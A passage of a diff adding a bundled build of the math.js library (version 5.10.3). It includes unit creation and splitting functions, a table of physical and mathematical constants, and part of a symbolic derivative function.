'ft^2')) + * + * @param {string} name The name of the new unit. Must be unique. Example: 'knot' + * @param {string, Unit} definition Definition of the unit in terms of existing units. For example, '0.514444444 m / s'. + * @param {Object} options (optional) An object containing any of the following properties: + * prefixes {string} "none", "short", "long", "binary_short", or "binary_long". The default is "none". + * aliases {Array} Array of strings. Example: ['knots', 'kt', 'kts'] + * offset {Numeric} An offset to apply when converting from the unit. For example, the offset for celsius is 273.15 and the offset for farhenheit is 459.67. Default is 0. + * + * @return {Unit} + */ + + + Unit.createUnitSingle = function (name, obj, options) { + if (typeof obj === 'undefined' || obj === null) { + obj = {}; + } + + if (typeof name !== 'string') { + throw new TypeError("createUnitSingle expects first parameter to be of type 'string'"); + } // Check collisions with existing units + + + if (UNITS.hasOwnProperty(name)) { + throw new Error('Cannot create unit "' + name + '": a unit with that name already exists'); + } // TODO: Validate name for collisions with other built-in functions (like abs or cos, for example), and for acceptable variable names. For example, '42' is probably not a valid unit. Nor is '%', since it is also an operator. + + + assertUnitNameIsValid(name); + var defUnit = null; // The Unit from which the new unit will be created. + + var aliases = []; + var offset = 0; + var definition; + var prefixes; + + if (obj && obj.type === 'Unit') { + defUnit = obj.clone(); + } else if (typeof obj === 'string') { + if (obj !== '') { + definition = obj; + } + } else if (_typeof(obj) === 'object') { + definition = obj.definition; + prefixes = obj.prefixes; + offset = obj.offset; + + if (obj.aliases) { + aliases = obj.aliases.valueOf(); // aliases could be a Matrix, so convert to Array + } + } else { + throw new TypeError('Cannot create unit "' + name + '" from "' + obj.toString() + '": expecting "string" or "Unit" or "Object"'); + } + + if (aliases) { + for (var i = 0; i < aliases.length; i++) { + if (UNITS.hasOwnProperty(aliases[i])) { + throw new Error('Cannot create alias "' + aliases[i] + '": a unit with that name already exists'); + } + } + } + + if (definition && typeof definition === 'string' && !defUnit) { + try { + defUnit = Unit.parse(definition, { + allowNoUnits: true + }); + } catch (ex) { + ex.message = 'Could not create unit "' + name + '" from "' + definition + '": ' + ex.message; + throw ex; + } + } else if (definition && definition.type === 'Unit') { + defUnit = definition.clone(); + } + + aliases = aliases || []; + offset = offset || 0; + + if (prefixes && prefixes.toUpperCase) { + prefixes = PREFIXES[prefixes.toUpperCase()] || PREFIXES.NONE; + } else { + prefixes = PREFIXES.NONE; + } // If defUnit is null, it is because the user did not + // specify a defintion. So create a new base dimension. + + + var newUnit = {}; + + if (!defUnit) { + // Add a new base dimension + var baseName = name + '_STUFF'; // foo --> foo_STUFF, or the essence of foo + + if (BASE_DIMENSIONS.indexOf(baseName) >= 0) { + throw new Error('Cannot create new base unit "' + name + '": a base unit with that name already exists (and cannot be overridden)'); + } + + BASE_DIMENSIONS.push(baseName); // Push 0 onto existing base units + + for (var b in BASE_UNITS) { + if (BASE_UNITS.hasOwnProperty(b)) { + BASE_UNITS[b].dimensions[BASE_DIMENSIONS.length - 1] = 0; + } + } // Add the new base unit + + + var newBaseUnit = { + dimensions: [] + }; + + for (var _i6 = 0; _i6 < BASE_DIMENSIONS.length; _i6++) { + newBaseUnit.dimensions[_i6] = 0; + } + + newBaseUnit.dimensions[BASE_DIMENSIONS.length - 1] = 1; + newBaseUnit.key = baseName; + BASE_UNITS[baseName] = newBaseUnit; + newUnit = { + name: name, + value: 1, + dimensions: BASE_UNITS[baseName].dimensions.slice(0), + prefixes: prefixes, + offset: offset, + base: BASE_UNITS[baseName] + }; + currentUnitSystem[baseName] = { + unit: newUnit, + prefix: PREFIXES.NONE[''] + }; + } else { + newUnit = { + name: name, + value: defUnit.value, + dimensions: defUnit.dimensions.slice(0), + prefixes: prefixes, + offset: offset // Create a new base if no matching base exists + + }; + var anyMatch = false; + + for (var _i7 in BASE_UNITS) { + if (BASE_UNITS.hasOwnProperty(_i7)) { + var match = true; + + for (var j = 0; j < BASE_DIMENSIONS.length; j++) { + if (Math.abs((newUnit.dimensions[j] || 0) - (BASE_UNITS[_i7].dimensions[j] || 0)) > 1e-12) { + match = false; + break; + } + } + + if (match) { + anyMatch = true; + newUnit.base = BASE_UNITS[_i7]; + break; + } + } + } + + if (!anyMatch) { + var _baseName = name + '_STUFF'; // foo --> foo_STUFF, or the essence of foo + // Add the new base unit + + + var _newBaseUnit = { + dimensions: defUnit.dimensions.slice(0) + }; + _newBaseUnit.key = _baseName; + BASE_UNITS[_baseName] = _newBaseUnit; + currentUnitSystem[_baseName] = { + unit: newUnit, + prefix: PREFIXES.NONE[''] + }; + newUnit.base = BASE_UNITS[_baseName]; + } + } + + Unit.UNITS[name] = newUnit; + + for (var _i8 = 0; _i8 < aliases.length; _i8++) { + var aliasName = aliases[_i8]; + var _alias = {}; + + for (var _key6 in newUnit) { + if (newUnit.hasOwnProperty(_key6)) { + _alias[_key6] = newUnit[_key6]; + } + } + + _alias.name = aliasName; + Unit.UNITS[aliasName] = _alias; + } + + return new Unit(null, name); + }; + + Unit.deleteUnit = function (name) { + delete Unit.UNITS[name]; + }; // expose arrays with prefixes, dimensions, units, systems + + + Unit.PREFIXES = PREFIXES; + Unit.BASE_DIMENSIONS = BASE_DIMENSIONS; + Unit.BASE_UNITS = BASE_UNITS; + Unit.UNIT_SYSTEMS = UNIT_SYSTEMS; + Unit.UNITS = UNITS; + return Unit; +} + +exports.name = 'Unit'; +exports.path = 'type'; +exports.factory = factory; +exports.math = true; // request access to the math namespace + +/***/ }), +/* 196 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + /** + * Create a unit. Depending on the passed arguments, the function + * will create and return a new math.type.Unit object. + * When a matrix is provided, all elements will be converted to units. + * + * Syntax: + * + * math.unit(unit : string) + * math.unit(value : number, unit : string) + * + * Examples: + * + * const a = math.unit(5, 'cm') // returns Unit 50 mm + * const b = math.unit('23 kg') // returns Unit 23 kg + * a.to('m') // returns Unit 0.05 m + * + * See also: + * + * bignumber, boolean, complex, index, matrix, number, string, createUnit + * + * @param {* | Array | Matrix} args A number and unit. + * @return {Unit | Array | Matrix} The created unit + */ + var unit = typed('unit', { + 'Unit': function Unit(x) { + return x.clone(); + }, + 'string': function string(x) { + if (type.Unit.isValuelessUnit(x)) { + return new type.Unit(null, x); // a pure unit + } + + return type.Unit.parse(x, { + allowNoUnits: true + }); // a unit with value, like '5cm' + }, + 'number | BigNumber | Fraction | Complex, string': function numberBigNumberFractionComplexString(value, unit) { + return new type.Unit(value, unit); + }, + 'Array | Matrix': function ArrayMatrix(x) { + return deepMap(x, unit); + } + }); + unit.toTex = { + 1: "\\left(${args[0]}\\right)", + 2: "\\left(\\left(${args[0]}\\right)${args[1]}\\right)" + }; + return unit; +} + +exports.name = 'unit'; +exports.factory = factory; + +/***/ }), +/* 197 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + /** + * Create a user-defined unit and register it with the Unit type. + * + * Syntax: + * + * math.createUnit({ + * baseUnit1: { + * aliases: [string, ...] + * prefixes: object + * }, + * unit2: { + * definition: string, + * aliases: [string, ...] + * prefixes: object, + * offset: number + * }, + * unit3: string // Shortcut + * }) + * + * // Another shortcut: + * math.createUnit(string, unit : string, [object]) + * + * Examples: + * + * math.createUnit('foo') + * math.createUnit('knot', {definition: '0.514444444 m/s', aliases: ['knots', 'kt', 'kts']}) + * math.createUnit('mph', '1 mile/hour') + * + * @param {string} name The name of the new unit. Must be unique. Example: 'knot' + * @param {string, Unit} definition Definition of the unit in terms of existing units. For example, '0.514444444 m / s'. + * @param {Object} options (optional) An object containing any of the following properties: + * - `prefixes {string}` "none", "short", "long", "binary_short", or "binary_long". The default is "none". + * - `aliases {Array}` Array of strings. Example: ['knots', 'kt', 'kts'] + * - `offset {Numeric}` An offset to apply when converting from the unit. For example, the offset for celsius is 273.15. Default is 0. + * + * See also: + * + * unit + * + * @return {Unit} The new unit + */ + var createUnit = typed('createUnit', { + // General function signature. First parameter is an object where each property is the definition of a new unit. The object keys are the unit names and the values are the definitions. The values can be objects, strings, or Units. If a property is an empty object or an empty string, a new base unit is created. The second parameter is the options. + 'Object, Object': function ObjectObject(obj, options) { + return type.Unit.createUnit(obj, options); + }, + // Same as above but without the options. + 'Object': function Object(obj) { + return type.Unit.createUnit(obj, {}); + }, + // Shortcut method for creating one unit. + 'string, Unit | string | Object, Object': function stringUnitStringObjectObject(name, def, options) { + var obj = {}; + obj[name] = def; + return type.Unit.createUnit(obj, options); + }, + // Same as above but without the options. + 'string, Unit | string | Object': function stringUnitStringObject(name, def) { + var obj = {}; + obj[name] = def; + return type.Unit.createUnit(obj, {}); + }, + // Without a definition, creates a base unit. + 'string': function string(name) { + var obj = {}; + obj[name] = {}; + return type.Unit.createUnit(obj, {}); + } + }); + return createUnit; +} + +exports.name = 'createUnit'; +exports.factory = factory; + +/***/ }), +/* 198 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + /** + * Split a unit in an array of units whose sum is equal to the original unit. + * + * Syntax: + * + * splitUnit(unit: Unit, parts: Array.) + * + * Example: + * + * math.splitUnit(new Unit(1, 'm'), ['feet', 'inch']) + * // [ 3 feet, 3.3700787401575 inch ] + * + * See also: + * + * unit + * + * @param {Array} [parts] An array of strings or valueless units. + * @return {Array} An array of units. + */ + var splitUnit = typed('splitUnit', { + 'Unit, Array': function UnitArray(unit, parts) { + return unit.splitUnit(parts); + } + }); + return splitUnit; +} + +exports.name = 'splitUnit'; +exports.factory = factory; + +/***/ }), +/* 199 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var lazy = __webpack_require__(5).lazy; + +function factory(type, config, load, typed, math) { + // helper function to create a unit with a fixed prefix + function fixedUnit(str) { + var unit = type.Unit.parse(str); + unit.fixPrefix = true; + return unit; + } // Source: https://en.wikipedia.org/wiki/Physical_constant + // Universal constants + + + setLazyConstant(math, 'speedOfLight', function () { + return fixedUnit('299792458 m s^-1'); + }); + setLazyConstant(math, 'gravitationConstant', function () { + return fixedUnit('6.6738480e-11 m^3 kg^-1 s^-2'); + }); + setLazyConstant(math, 'planckConstant', function () { + return fixedUnit('6.626069311e-34 J s'); + }); + setLazyConstant(math, 'reducedPlanckConstant', function () { + return fixedUnit('1.05457172647e-34 J s'); + }); // Electromagnetic constants + + setLazyConstant(math, 'magneticConstant', function () { + return fixedUnit('1.2566370614e-6 N A^-2'); + }); + setLazyConstant(math, 'electricConstant', function () { + return fixedUnit('8.854187817e-12 F m^-1'); + }); + setLazyConstant(math, 'vacuumImpedance', function () { + return fixedUnit('376.730313461 ohm'); + }); + setLazyConstant(math, 'coulomb', function () { + return fixedUnit('8.9875517873681764e9 N m^2 C^-2'); + }); + setLazyConstant(math, 'elementaryCharge', function () { + return fixedUnit('1.60217656535e-19 C'); + }); + setLazyConstant(math, 'bohrMagneton', function () { + return fixedUnit('9.2740096820e-24 J T^-1'); + }); + setLazyConstant(math, 'conductanceQuantum', function () { + return fixedUnit('7.748091734625e-5 S'); + }); + setLazyConstant(math, 'inverseConductanceQuantum', function () { + return fixedUnit('12906.403721742 ohm'); + }); + setLazyConstant(math, 'magneticFluxQuantum', function () { + return fixedUnit('2.06783375846e-15 Wb'); + }); + setLazyConstant(math, 'nuclearMagneton', function () { + return fixedUnit('5.0507835311e-27 J T^-1'); + }); + setLazyConstant(math, 'klitzing', function () { + return fixedUnit('25812.807443484 ohm'); + }); // setLazyConstant(math, 'josephson', function () {return fixedUnit('4.8359787011e-14 Hz V^-1')}) // TODO: support for Hz needed + // Atomic and nuclear constants + + setLazyConstant(math, 'bohrRadius', function () { + return fixedUnit('5.291772109217e-11 m'); + }); + setLazyConstant(math, 'classicalElectronRadius', function () { + return fixedUnit('2.817940326727e-15 m'); + }); + setLazyConstant(math, 'electronMass', function () { + return fixedUnit('9.1093829140e-31 kg'); + }); + setLazyConstant(math, 'fermiCoupling', function () { + return fixedUnit('1.1663645e-5 GeV^-2'); + }); + setLazyConstant(math, 'fineStructure', function () { + return 7.297352569824e-3; + }); + setLazyConstant(math, 'hartreeEnergy', function () { + return fixedUnit('4.3597443419e-18 J'); + }); + setLazyConstant(math, 'protonMass', function () { + return fixedUnit('1.67262177774e-27 kg'); + }); + setLazyConstant(math, 'deuteronMass', function () { + return fixedUnit('3.3435830926e-27 kg'); + }); + setLazyConstant(math, 'neutronMass', function () { + return fixedUnit('1.6749271613e-27 kg'); + }); + setLazyConstant(math, 'quantumOfCirculation', function () { + return fixedUnit('3.636947552024e-4 m^2 s^-1'); + }); + setLazyConstant(math, 'rydberg', function () { + return fixedUnit('10973731.56853955 m^-1'); + }); + setLazyConstant(math, 'thomsonCrossSection', function () { + return fixedUnit('6.65245873413e-29 m^2'); + }); + setLazyConstant(math, 'weakMixingAngle', function () { + return 0.222321; + }); + setLazyConstant(math, 'efimovFactor', function () { + return 22.7; + }); // Physico-chemical constants + + setLazyConstant(math, 'atomicMass', function () { + return fixedUnit('1.66053892173e-27 kg'); + }); + setLazyConstant(math, 'avogadro', function () { + return fixedUnit('6.0221412927e23 mol^-1'); + }); + setLazyConstant(math, 'boltzmann', function () { + return fixedUnit('1.380648813e-23 J K^-1'); + }); + setLazyConstant(math, 'faraday', function () { + return fixedUnit('96485.336521 C mol^-1'); + }); + setLazyConstant(math, 'firstRadiation', function () { + return fixedUnit('3.7417715317e-16 W m^2'); + }); // setLazyConstant(math, 'spectralRadiance', function () {return fixedUnit('1.19104286953e-16 W m^2 sr^-1')}) // TODO spectralRadiance + + setLazyConstant(math, 'loschmidt', function () { + return fixedUnit('2.686780524e25 m^-3'); + }); + setLazyConstant(math, 'gasConstant', function () { + return fixedUnit('8.314462175 J K^-1 mol^-1'); + }); + setLazyConstant(math, 'molarPlanckConstant', function () { + return fixedUnit('3.990312717628e-10 J s mol^-1'); + }); + setLazyConstant(math, 'molarVolume', function () { + return fixedUnit('2.241396820e-10 m^3 mol^-1'); + }); + setLazyConstant(math, 'sackurTetrode', function () { + return -1.164870823; + }); + setLazyConstant(math, 'secondRadiation', function () { + return fixedUnit('1.438777013e-2 m K'); + }); + setLazyConstant(math, 'stefanBoltzmann', function () { + return fixedUnit('5.67037321e-8 W m^-2 K^-4'); + }); + setLazyConstant(math, 'wienDisplacement', function () { + return fixedUnit('2.897772126e-3 m K'); + }); // Adopted values + + setLazyConstant(math, 'molarMass', function () { + return fixedUnit('1e-3 kg mol^-1'); + }); + setLazyConstant(math, 'molarMassC12', function () { + return fixedUnit('1.2e-2 kg mol^-1'); + }); + setLazyConstant(math, 'gravity', function () { + return fixedUnit('9.80665 m s^-2'); + }); // atm is defined in Unit.js + // Natural units + + setLazyConstant(math, 'planckLength', function () { + return fixedUnit('1.61619997e-35 m'); + }); + setLazyConstant(math, 'planckMass', function () { + return fixedUnit('2.1765113e-8 kg'); + }); + setLazyConstant(math, 'planckTime', function () { + return fixedUnit('5.3910632e-44 s'); + }); + setLazyConstant(math, 'planckCharge', function () { + return fixedUnit('1.87554595641e-18 C'); + }); + setLazyConstant(math, 'planckTemperature', function () { + return fixedUnit('1.41683385e+32 K'); + }); +} // create a lazy constant in both math and mathWithTransform + + +function setLazyConstant(math, name, resolver) { + lazy(math, name, resolver); + lazy(math.expression.mathWithTransform, name, resolver); +} + +exports.factory = factory; +exports.lazy = false; // no lazy loading of constants, the constants themselves are lazy when needed + +exports.math = true; // request access to the math namespace + +/***/ }), +/* 200 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var object = __webpack_require__(5); + +var bigConstants = __webpack_require__(108); + +function factory(type, config, load, typed, math) { + // listen for changed in the configuration, automatically reload + // constants when needed + math.on('config', function (curr, prev) { + if (curr.number !== prev.number) { + factory(type, config, load, typed, math); + } + }); + setConstant(math, 'true', true); + setConstant(math, 'false', false); + setConstant(math, 'null', null); + setConstant(math, 'uninitialized', 'Error: Constant uninitialized is removed since v4.0.0. Use null instead'); + + if (config.number === 'BigNumber') { + setConstant(math, 'Infinity', new type.BigNumber(Infinity)); + setConstant(math, 'NaN', new type.BigNumber(NaN)); + setLazyConstant(math, 'pi', function () { + return bigConstants.pi(type.BigNumber); + }); + setLazyConstant(math, 'tau', function () { + return bigConstants.tau(type.BigNumber); + }); + setLazyConstant(math, 'e', function () { + return bigConstants.e(type.BigNumber); + }); + setLazyConstant(math, 'phi', function () { + return bigConstants.phi(type.BigNumber); + }); // golden ratio, (1+sqrt(5))/2 + // uppercase constants (for compatibility with built-in Math) + + setLazyConstant(math, 'E', function () { + return math.e; + }); + setLazyConstant(math, 'LN2', function () { + return new type.BigNumber(2).ln(); + }); + setLazyConstant(math, 'LN10', function () { + return new type.BigNumber(10).ln(); + }); + setLazyConstant(math, 'LOG2E', function () { + return new type.BigNumber(1).div(new type.BigNumber(2).ln()); + }); + setLazyConstant(math, 'LOG10E', function () { + return new type.BigNumber(1).div(new type.BigNumber(10).ln()); + }); + setLazyConstant(math, 'PI', function () { + return math.pi; + }); + setLazyConstant(math, 'SQRT1_2', function () { + return new type.BigNumber('0.5').sqrt(); + }); + setLazyConstant(math, 'SQRT2', function () { + return new type.BigNumber(2).sqrt(); + }); + } else { + setConstant(math, 'Infinity', Infinity); + setConstant(math, 'NaN', NaN); + setConstant(math, 'pi', Math.PI); + setConstant(math, 'tau', Math.PI * 2); + setConstant(math, 'e', Math.E); + setConstant(math, 'phi', 1.61803398874989484820458683436563811772030917980576286213545); // golden ratio, (1+sqrt(5))/2 + // uppercase constants (for compatibility with built-in Math) + + setConstant(math, 'E', math.e); + setConstant(math, 'LN2', Math.LN2); + setConstant(math, 'LN10', Math.LN10); + setConstant(math, 'LOG2E', Math.LOG2E); + setConstant(math, 'LOG10E', Math.LOG10E); + setConstant(math, 'PI', math.pi); + setConstant(math, 'SQRT1_2', Math.SQRT1_2); + setConstant(math, 'SQRT2', Math.SQRT2); + } // complex i + + + if (type.Complex) { + setConstant(math, 'i', type.Complex.I); + } // meta information + + + setConstant(math, 'version', __webpack_require__(201)); +} // create a constant in both math and mathWithTransform + + +function setConstant(math, name, value) { + math[name] = value; + math.expression.mathWithTransform[name] = value; +} // create a lazy constant in both math and mathWithTransform + + +function setLazyConstant(math, name, resolver) { + object.lazy(math, name, resolver); + object.lazy(math.expression.mathWithTransform, name, resolver); +} + +exports.factory = factory; +exports.lazy = false; // no lazy loading of constants, the constants themselves are lazy when needed + +exports.math = true; // request access to the math namespace + +/***/ }), +/* 201 */ +/***/ (function(module, exports) { + +module.exports = '5.10.3'; // Note: This file is automatically generated when building math.js. +// Changes made in this file will be overwritten. + +/***/ }), +/* 202 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +module.exports = [__webpack_require__(203), __webpack_require__(224), __webpack_require__(245), __webpack_require__(258), __webpack_require__(262), __webpack_require__(266), __webpack_require__(269), __webpack_require__(273), __webpack_require__(293), __webpack_require__(303), __webpack_require__(306), __webpack_require__(314), __webpack_require__(316), __webpack_require__(321), __webpack_require__(323), __webpack_require__(349), __webpack_require__(351)]; + +/***/ }), +/* 203 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +module.exports = [__webpack_require__(204), // simplify +__webpack_require__(86), // polynomial +__webpack_require__(207), // decomposition +__webpack_require__(208), __webpack_require__(87), __webpack_require__(132), // solver +__webpack_require__(136), __webpack_require__(222), __webpack_require__(137)]; + +/***/ }), +/* 204 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + var parse = load(__webpack_require__(44)); + var simplify = load(__webpack_require__(86)); + var equal = load(__webpack_require__(51)); + var isZero = load(__webpack_require__(60)); + var getType = load(__webpack_require__(26)); + var numeric = load(__webpack_require__(65)); + var ConstantNode = load(__webpack_require__(58)); + var FunctionNode = load(__webpack_require__(69)); + var OperatorNode = load(__webpack_require__(59)); + var ParenthesisNode = load(__webpack_require__(68)); + var SymbolNode = load(__webpack_require__(54)); + /** + * Takes the derivative of an expression expressed in parser Nodes. + * The derivative will be taken over the supplied variable in the + * second parameter. If there are multiple variables in the expression, + * it will return a partial derivative. + * + * This uses rules of differentiation which can be found here: + * + * - [Differentiation rules (Wikipedia)](https://en.wikipedia.org/wiki/Differentiation_rules) + * + * Syntax: + * + * derivative(expr, variable) + * derivative(expr, variable, options) + * + * Examples: + * + * math.derivative('x^2', 'x') // Node {2 * x} + * math.derivative('x^2', 'x', {simplify: false}) // Node {2 * 1 * x ^ (2 - 1) + * math.derivative('sin(2x)', 'x')) // Node {2 * cos(2 * x)} + * math.derivative('2*x', 'x').eval() // number 2 + * math.derivative('x^2', 'x').eval({x: 4}) // number 8 + * const f = math.parse('x^2') + * const x = math.parse('x') + * math.derivative(f, x) // Node {2 * x} + * + * See also: + * + * simplify, parse, eval + * + * @param {Node | string} expr The expression to differentiate + * @param {SymbolNode | string} variable The variable over which to differentiate + * @param {{simplify: boolean}} [options] + * There is one option available, `simplify`, which + * is true by default. When false, output will not + * be simplified. + * @return {ConstantNode | SymbolNode | ParenthesisNode | FunctionNode | OperatorNode} The derivative of `expr` + */ + + var derivative = typed('derivative', { + 'Node, SymbolNode, Object': function NodeSymbolNodeObject(expr, variable, options) { + var constNodes = {}; + constTag(constNodes, expr, variable.name); + + var res = _derivative(expr, constNodes); + + return options.simplify ? simplify(res) : res; + }, + 'Node, SymbolNode': function NodeSymbolNode(expr, variable) { + return derivative(expr, variable, { + simplify: true + }); + }, + 'string, SymbolNode': function stringSymbolNode(expr, variable) { + return derivative(parse(expr), variable); + }, + 'string, SymbolNode, Object': function stringSymbolNodeObject(expr, variable, options) { + return derivative(parse(expr), variable, options); + }, + 'string, string': function stringString(expr, variable) { + return derivative(parse(expr), parse(variable)); + }, + 'string, string, Object': function stringStringObject(expr, variable, options) { + return derivative(parse(expr), parse(variable), options); + }, + 'Node, string': function NodeString(expr, variable) { + return derivative(expr, parse(variable)); + }, + 'Node, string, Object': function NodeStringObject(expr, variable, options) { + return derivative(expr, parse(variable), options); + } // TODO: replace the 8 signatures above with 4 as soon as typed-function supports optional arguments + + /* TODO: implement and test syntax with order of derivatives -> implement as an option {order: number} + 'Node, SymbolNode, ConstantNode': function (expr, variable, {order}) { + let res = expr + for (let i = 0; i < order; i++) { + let constNodes = {} + constTag(constNodes, expr, variable.name) + res = _derivative(res, constNodes) + } + return res + } + */ + + }); + derivative._simplify = true; + + derivative.toTex = function (deriv) { + return _derivTex.apply(null, deriv.args); + }; // NOTE: the optional "order" parameter here is currently unused + + + var _derivTex = typed('_derivTex', { + 'Node, SymbolNode': function NodeSymbolNode(expr, x) { + if (type.isConstantNode(expr) && getType(expr.value) === 'string') { + return _derivTex(parse(expr.value).toString(), x.toString(), 1); + } else { + return _derivTex(expr.toString(), x.toString(), 1); + } + }, + 'Node, ConstantNode': function NodeConstantNode(expr, x) { + if (getType(x.value) === 'string') { + return _derivTex(expr, parse(x.value)); + } else { + throw new Error("The second parameter to 'derivative' is a non-string constant"); + } + }, + 'Node, SymbolNode, ConstantNode': function NodeSymbolNodeConstantNode(expr, x, order) { + return _derivTex(expr.toString(), x.name, order.value); + }, + 'string, string, number': function stringStringNumber(expr, x, order) { + var d; + + if (order === 1) { + d = '{d\\over d' + x + '}'; + } else { + d = '{d^{' + order + '}\\over d' + x + '^{' + order + '}}'; + } + + return d + "\\left[".concat(expr, "\\right]"); + } + }); + /** + * Does a depth-first search on the expression tree to identify what Nodes + * are constants (e.g. 2 + 2), and stores the ones that are constants in + * constNodes. Classification is done as follows: + * + * 1. ConstantNodes are constants. + * 2. If there exists a SymbolNode, of which we are differentiating over, + * in the subtree it is not constant. + * + * @param {Object} constNodes Holds the nodes that are constant + * @param {ConstantNode | SymbolNode | ParenthesisNode | FunctionNode | OperatorNode} node + * @param {string} varName Variable that we are differentiating + * @return {boolean} if node is constant + */ + // TODO: can we rewrite constTag into a pure function? + + + var constTag = typed('constTag', { + 'Object, ConstantNode, string': function ObjectConstantNodeString(constNodes, node) { + constNodes[node] = true; + return true; + }, + 'Object, SymbolNode, string': function ObjectSymbolNodeString(constNodes, node, varName) { + // Treat other variables like constants. For reasoning, see: + // https://en.wikipedia.org/wiki/Partial_derivative + if (node.name !== varName) { + constNodes[node] = true; + return true; + } + + return false; + }, + 'Object, ParenthesisNode, string': function ObjectParenthesisNodeString(constNodes, node, varName) { + return constTag(constNodes, node.content, varName); + }, + 'Object, FunctionAssignmentNode, string': function ObjectFunctionAssignmentNodeString(constNodes, node, varName) { + if (node.params.indexOf(varName) === -1) { + constNodes[node] = true; + return true; + } + + return constTag(constNodes, node.expr, varName); + }, + 'Object, FunctionNode | OperatorNode, string': function ObjectFunctionNodeOperatorNodeString(constNodes, node, varName) { + if (node.args.length > 0) { + var isConst = constTag(constNodes, node.args[0], varName); + + for (var i = 1; i < node.args.length; ++i) { + isConst = constTag(constNodes, node.args[i], varName) && isConst; + } + + if (isConst) { + constNodes[node] = true; + return true; + } + } + + return false; + } + }); + /** + * Applies differentiation rules. + * + * @param {ConstantNode | SymbolNode | ParenthesisNode | FunctionNode | OperatorNode} node + * @param {Object} constNodes Holds the nodes that are constant + * @return {ConstantNode | SymbolNode | ParenthesisNode | FunctionNode | OperatorNode} The derivative of `expr` + */ + + var _derivative = typed('_derivative', { + 'ConstantNode, Object': function ConstantNodeObject(node) { + return createConstantNode(0); + }, + 'SymbolNode, Object': function SymbolNodeObject(node, constNodes) { + if (constNodes[node] !== undefined) { + return createConstantNode(0); + } + + return createConstantNode(1); + }, + 'ParenthesisNode, Object': function ParenthesisNodeObject(node, constNodes) { + return new ParenthesisNode(_derivative(node.content, constNodes)); + }, + 'FunctionAssignmentNode, Object': function FunctionAssignmentNodeObject(node, constNodes) { + if (constNodes[node] !== undefined) { + return createConstantNode(0); + } + + return _derivative(node.expr, constNodes); + }, + 'FunctionNode, Object': function FunctionNodeObject(node, constNodes) { + if (node.args.length !== 1) { + funcArgsCheck(node); + } + + if (constNodes[node] !== undefined) { + return createConstantNode(0); + } + + var arg0 = node.args[0]; + var arg1; + var div = false; // is output a fraction? + + var negative = false; // is output negative? + + var funcDerivative; + + switch (node.name) { + case 'cbrt': + // d/dx(cbrt(x)) = 1 / (3x^(2/3)) + div = true; + funcDerivative = new OperatorNode('*', 'multiply', [createConstantNode(3), new OperatorNode('^', 'pow', [arg0, new OperatorNode('/', 'divide', [createConstantNode(2), createConstantNode(3)])])]); + break; + + case 'sqrt': + case 'nthRoot': + // d/dx(sqrt(x)) = 1 / (2*sqrt(x)) + if (node.args.length === 1) { + div = true; + funcDerivative = new OperatorNode('*', 'multiply', [createConstantNode(2), new FunctionNode('sqrt', [arg0])]); + } else if (node.args.length === 2) { + // Rearrange from nthRoot(x, a) -> x^(1/a) + arg1 = new OperatorNode('/', 'divide', [createConstantNode(1), node.args[1]]); // Is a variable? + + constNodes[arg1] = constNodes[node.args[1]]; + return _derivative(new OperatorNode('^', 'pow', [arg0, arg1]), constNodes); + } + + break; + + case 'log10': + arg1 = createConstantNode(10); + + /* fall through! */ + + case 'log': + if (!arg1 && node.args.length === 1) { + // d/dx(log(x)) = 1 / x + funcDerivative = arg0.clone(); + div = true; + } else if (node.args.length === 1 && arg1 || node.args.length === 2 && constNodes[node.args[1]] !== undefined) { + // d/dx(log(x, c)) = 1 / (x*ln(c)) + funcDerivative = new OperatorNode('*', 'multiply', [arg0.clone(), new FunctionNode('log', [arg1 || node.args[1]])]); + div = true; + } else if (node.args.length === 2) { + // d/dx(log(f(x), g(x))) = d/dx(log(f(x)) / log(g(x))) + return _derivative(new OperatorNode('/', 'divide', [new FunctionNode('log', [arg0]), new FunctionNode('log', [node.args[1]])]), constNodes); + } + + break; + + case 'pow': + constNodes[arg1] = constNodes[node.args[1]]; // Pass to pow operator node parser + + return _derivative(new OperatorNode('^', 'pow', [arg0, node.args[1]]), constNodes); + + case 'exp': + // d/dx(e^x) = e^x + funcDerivative = new FunctionNode('exp', [arg0.clone()]); + break; + + case 'sin': + // d/dx(sin(x)) = cos(x) + funcDerivative = new FunctionNode('cos', [arg0.clone()]); + break; + + case 'cos': + // d/dx(cos(x)) = -sin(x) + funcDerivative = new OperatorNode('-', 'unaryMinus', [new FunctionNode('sin', [arg0.clone()])]); + break; + + case 'tan': + // d/dx(tan(x)) = sec(x)^2 + funcDerivative = new OperatorNode('^', 'pow', [new FunctionNode('sec', [arg0.clone()]), createConstantNode(2)]); + break; + + case 'sec': + // d/dx(sec(x)) = sec(x)tan(x) + funcDerivative = new OperatorNode('*', 'multiply', [node, new FunctionNode('tan', [arg0.clone()])]); + break; + + case 'csc': + // d/dx(csc(x)) = -csc(x)cot(x) + negative = true; + funcDerivative = new OperatorNode('*', 'multiply', [node, new FunctionNode('cot', [arg0.clone()])]); + break; + + case 'cot': + // d/dx(cot(x)) = -csc(x)^2 + negative = true; + funcDerivative = new OperatorNode('^', 'pow', [new FunctionNode('csc', [arg0.clone()]), createConstantNode(2)]); + break; + + case 'asin': + // d/dx(asin(x)) = 1 / sqrt(1 - x^2) + div = true; + funcDerivative = new FunctionNode('sqrt', [new OperatorNode('-', 'subtract', [createConstantNode(1), new OperatorNode('^', 'pow', [arg0.clone(), createConstantNode(2)])])]); + break; + + case 'acos': + // d/dx(acos(x)) = -1 / sqrt(1 - x^2) + div = true; + negative = true; + funcDerivative = new FunctionNode('sqrt', [new OperatorNode('-', 'subtract', [createConstantNode(1), new OperatorNode('^', 'pow', [arg0.clone(), createConstantNode(2)])])]); + break; + + case 'atan': + // d/dx(atan(x)) = 1 / (x^2 + 1) + div = true; + funcDerivative = new OperatorNode('+', 'add', [new OperatorNode('^', 'pow', [arg0.clone(), createConstantNode(2)]), createConstantNode(1)]); + break; + + case 'asec': + // d/dx(asec(x)) = 1 / (|x|*sqrt(x^2 - 1)) + div = true; + funcDerivative = new OperatorNode('*', 'multiply', 